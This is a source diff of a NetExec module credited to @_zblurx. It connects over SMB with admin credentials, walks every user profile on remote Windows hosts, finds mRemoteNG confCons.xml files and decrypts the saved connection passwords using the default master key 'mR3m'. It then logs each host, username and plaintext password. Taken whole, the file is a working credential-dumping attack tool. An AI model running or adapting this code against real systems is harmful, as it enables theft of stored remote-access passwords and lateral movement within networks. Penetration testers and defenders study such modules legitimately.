1+ import ntpath
2+ from dploot .lib .smb import DPLootSMBConnection
3+ from dploot .lib .target import Target
4+ from Cryptodome .Cipher import AES
5+ from lxml import objectify
6+ from base64 import b64decode
7+ import hashlib
8+ from dataclasses import dataclass
9+
10+
11+ @dataclass
12+ class MRemoteNgEncryptionAttributes :
13+ kdf_iterations : int
14+ block_cipher_mode : str
15+ encryption_engine : str
16+ full_file_encryption : bool
17+
18+ class NXCModule :
19+ """
20+ Dump mRemoteNG Passwords
21+ module by @_zblurx
22+ """
23+
24+ name = "mremoteng"
25+ description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
26+ supported_protocols = ["smb" ]
27+ opsec_safe = True
28+ multiple_hosts = True
29+
30+ def __init__ (self , context = None , module_options = None ):
31+ self .false_positive = (
32+ "." ,
33+ ".." ,
34+ "desktop.ini" ,
35+ "Public" ,
36+ "Default" ,
37+ "Default User" ,
38+ "All Users" ,
39+ )
40+
41+ self .mRemoteNg_path = [
42+ "Users\\ {username}\\ AppData\\ Local\\ mRemoteNG" ,
43+ "Users\\ {username}\\ AppData\\ Roaming\\ mRemoteNG" ,
44+ ]
45+
46+ self .custom_user_path = [
47+ "Users\\ {username}\\ Desktop" ,
48+ "Users\\ {username}\\ Documents" ,
49+ ]
50+
51+ self .recurse_max = 10
52+
53+ def options (self , context , module_options ):
54+ """
55+ SHARE Share parsed. Default to C$
56+ PASSWORD Custom password to decrypt confCons.xml files
57+ CUSTOM_PATH Custom path to confCons.xml file
58+ """
59+ self .context = context
60+
61+ self .password = "mR3m"
62+ if "PASSWORD" in module_options :
63+ self .password = module_options ["PASSWORD" ]
64+
65+ self .custom_path = None
66+ if "CUSTOM_PATH" in module_options :
67+ self .custom_path = module_options ["CUSTOM_PATH" ]
68+
69+ def on_admin_login (self , context , connection ):
70+ # 1. Evole conn into dploot conn
71+ self .context = context
72+ self .connection = connection
73+ self .share = connection .args .share
74+
75+ host = f"{ connection .hostname } .{ connection .domain } "
76+ domain = connection .domain
77+ username = connection .username
78+ kerberos = connection .kerberos
79+ aesKey = connection .aesKey
80+ use_kcache = getattr (connection , "use_kcache" , False )
81+ password = getattr (connection , "password" , "" )
82+ lmhash = getattr (connection , "lmhash" , "" )
83+ nthash = getattr (connection , "nthash" , "" )
84+
85+ target = Target .create (
86+ domain = domain ,
87+ username = username ,
88+ password = password ,
89+ target = host ,
90+ lmhash = lmhash ,
91+ nthash = nthash ,
92+ do_kerberos = kerberos ,
93+ aesKey = aesKey ,
94+ use_kcache = use_kcache ,
95+ )
96+
97+ dploot_conn = self .upgrade_connection (target = target , connection = connection .conn )
98+
99+ # 2. Dump users list
100+ users = self .get_users (dploot_conn )
101+
102+ # 3. Search for mRemoteNG files
103+ for user in users :
104+ for path in self .mRemoteNg_path :
105+ user_path = ntpath .join (path .format (username = user ), "confCons.xml" )
106+ content = dploot_conn .readFile (self .share , user_path )
107+ if content is None :
108+ continue
109+ self .context .log .info (f"Found confCons.xml file: { user_path } " )
110+ self .handle_confCons_file (content )
111+ for path in self .custom_user_path :
112+ user_path = path .format (username = user )
113+ self .dig_confCons_in_files (conn = dploot_conn , directory_path = user_path , recurse_level = 0 , recurse_max = self .recurse_max )
114+ if self .custom_path is not None :
115+ content = dploot_conn .readFile (self .share , self .custom_path )
116+ if content is not None :
117+ self .context .log .info (f"Found confCons.xml file: { self .custom_path } " )
118+ self .handle_confCons_file (content )
119+
120+ def upgrade_connection (self , target : Target , connection = None ):
121+ conn = DPLootSMBConnection (target )
122+ if connection is not None :
123+ conn .smb_session = connection
124+ else :
125+ conn .connect ()
126+ return conn
127+
128+ def get_users (self , conn ):
129+ users = []
130+
131+ users_dir_path = "Users\\ *"
132+ directories = conn .listPath (shareName = self .share , path = ntpath .normpath (users_dir_path ))
133+
134+ for d in directories :
135+ if d .get_longname () not in self .false_positive and d .is_directory () > 0 :
136+ users .append (d .get_longname ()) # noqa: PERF401, ignoring for readability
137+ return users
138+
139+ def handle_confCons_file (self , file_content ):
140+ main = objectify .fromstring (file_content )
141+ encryption_attributes = MRemoteNgEncryptionAttributes (
142+ kdf_iterations = int (main .attrib ["KdfIterations" ]),
143+ block_cipher_mode = main .attrib ["BlockCipherMode" ],
144+ encryption_engine = main .attrib ["EncryptionEngine" ],
145+ full_file_encryption = bool (main .attrib ["FullFileEncryption" ]),
146+ )
147+
148+ for node_attribute in self .parse_xml_nodes (main ):
149+ password = self .extract_remoteng_passwords (node_attribute ["Password" ], encryption_attributes )
150+ if password == b"" :
151+ continue
152+ name = node_attribute ["Name" ]
153+ hostname = node_attribute ["Hostname" ]
154+ domain = node_attribute ["Domain" ] if node_attribute ["Domain" ] != "" else node_attribute ["Hostname" ]
155+ username = node_attribute ["Username" ]
156+ protocol = node_attribute ["Protocol" ]
157+ port = node_attribute ["Port" ]
158+ host = f" { protocol } ://{ hostname } :{ port } " if node_attribute ["Hostname" ] != "" else " "
159+ self .context .log .highlight (f"{ name } :{ host } - { domain } \\ { username } :{ password } " )
160+
161+ def parse_xml_nodes (self , main ):
162+ nodes = []
163+ for node in list (main .getchildren ()):
164+ node_attributes = node .attrib
165+ if node_attributes ["Type" ] == "Connection" :
166+ nodes .append (node .attrib )
167+ elif node_attributes ["Type" ] == "Container" :
168+ nodes .append (node .attrib )
169+ nodes = nodes + self .parse_xml_nodes (node )
170+ return nodes
171+
172+ def dig_confCons_in_files (self , conn , directory_path , recurse_level = 0 , recurse_max = 10 ):
173+ directory_list = conn .remote_list_dir (self .share , directory_path )
174+ if directory_list is not None :
175+ for item in directory_list :
176+ if item .get_longname () not in self .false_positive :
177+ new_path = ntpath .join (directory_path , item .get_longname ())
178+ if item .is_directory () > 0 :
179+ if recurse_level < recurse_max :
180+ self .dig_confCons_in_files (conn = conn , directory_path = new_path , recurse_level = recurse_level + 1 , recurse_max = recurse_max )
181+ else :
182+ # It's a file, download it to the output share if the mask is ok
183+ if "confCons.xml" in item .get_longname ():
184+ self .context .log .info (f"Found confCons.xml file: { new_path } " )
185+ content = conn .readFile (self .context .share , new_path )
186+ self .handle_confCons_file (content )
187+
188+
189+ def extract_remoteng_passwords (self , encrypted_password , encryption_attributes : MRemoteNgEncryptionAttributes ):
190+ encrypted_password = b64decode (encrypted_password )
191+ if encrypted_password == b"" :
192+ return encrypted_password
193+
194+ if encryption_attributes .encryption_engine == "AES" :
195+ salt = encrypted_password [:16 ]
196+ associated_data = encrypted_password [:16 ]
197+ nonce = encrypted_password [16 :32 ]
198+ ciphertext = encrypted_password [32 :- 16 ]
199+ tag = encrypted_password [- 16 :]
200+ key = hashlib .pbkdf2_hmac ("sha1" , self .password .encode (), salt , encryption_attributes .kdf_iterations , dklen = 32 )
201+ if encryption_attributes .block_cipher_mode == "GCM" :
202+ cipher = AES .new (key , AES .MODE_GCM , nonce = nonce )
203+ elif encryption_attributes .block_cipher_mode == "CCM" :
204+ cipher = AES .new (key , AES .MODE_CCM , nonce = nonce )
205+ elif encryption_attributes .block_cipher_mode == "EAX" :
206+ cipher = AES .new (key , AES .MODE_EAX , nonce = nonce )
207+ else :
208+ self .context .log .debug (f"Could not decrypt MRemoteNG password with encryption algorithm { encryption_attributes .encryption_engine } -{ encryption_attributes .block_cipher_mode } : Not yet implemented" )
209+ cipher .update (associated_data )
210+ return cipher .decrypt_and_verify (ciphertext , tag ).decode ("latin-1" )
211+ else :
212+ self .context .log .debug (f"Could not decrypt MRemoteNG password with encryption algorithm { encryption_attributes .encryption_engine } : Not yet implemented" )
0 commit comments